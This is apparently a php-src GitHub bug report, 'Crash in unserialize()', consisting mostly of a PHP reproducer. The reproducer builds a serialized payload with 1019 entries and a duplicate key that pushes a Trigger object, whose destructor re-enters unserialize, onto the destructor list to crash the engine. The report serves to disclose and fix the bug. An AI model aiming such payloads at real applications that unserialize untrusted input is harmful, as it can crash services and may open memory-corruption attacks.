[php-src] Issue #21824: Crash in unserialize()

Issue: https://github.com/php/php-src/issues/21824
Author: iluuu1994

### Description

Originally reported by @calysteon.

```php
<?php
class Trigger {
    public function __destruct() {
        @unserialize('i:1;');
    }
}

$payload = 'a:1019:{';
for ($i = 0; $i < 1017; $i++) {
    $payload .= "i:$i;s:1:\"A\";";
}
// Entry that overflows into a second var_entries block
$payload .= 'i:1017;O:7:"Trigger":0:{}';
// Duplicate key overwrites Trigger, pushing it to dtor list (refcount stays at 1)
$payload .= 'i:1017;i:0;}';

$result = @unserialize($payload);
```

### PHP Version

```plain
-
```

### Operating System

_No response_